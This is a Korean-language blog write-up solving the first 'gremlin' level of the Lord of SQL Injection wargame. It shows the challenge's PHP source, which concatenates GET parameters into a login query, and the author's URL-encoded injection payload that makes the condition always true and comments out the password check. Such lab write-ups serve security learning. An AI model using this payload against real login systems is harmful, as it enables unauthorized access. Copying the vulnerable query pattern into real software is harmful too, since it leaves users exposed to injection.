첫번째 문제_gremlin
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
음. 쿼리문을 보니 id와 pw를 GET방식으로 받아 오고 있고, 식별과 인증을 동시에 하고 있는 모습이다.
id에 들어갈 값은 알지 못하기에 id부분은 참으로 만들어주고 pw부분은 주석으로 지워버리겠다.
GET방식으로 받아오기에 주소창에 직접 값을 입력할 수 있다.
주소창 가장 뒤에 ?id=내가 원하는&pw=값을 넣어주면 된다.
"id=1%27or%271%27#" 이와 같이 넣어줬더니 주석처리가 안 된다.
뭔가 이상해서 검색해보니 주소창에 입력할 때 # = %23으로 입력해야 한단다.
"id=1%27or%271%27%23" 이와 같이 입력했더니 클리어!!
주소표시줄이 싱글쿼터(')를 입력하면 %27로 바뀌어 입력이 되네?
# = %23
' = %27 인가보다.
'LoSi' 카테고리의 다른 글
6_LoSi_darkelf (0) | 2022.11.23 |
---|---|
5_LoSi_wolfman with whitespace 우회 (0) | 2022.11.23 |
4_LoSi_orc with addslashes() / substr() (1) | 2022.11.23 |
3_LoSi_goblin (0) | 2022.11.22 |
2_LoSi_cobolt (0) | 2022.11.22 |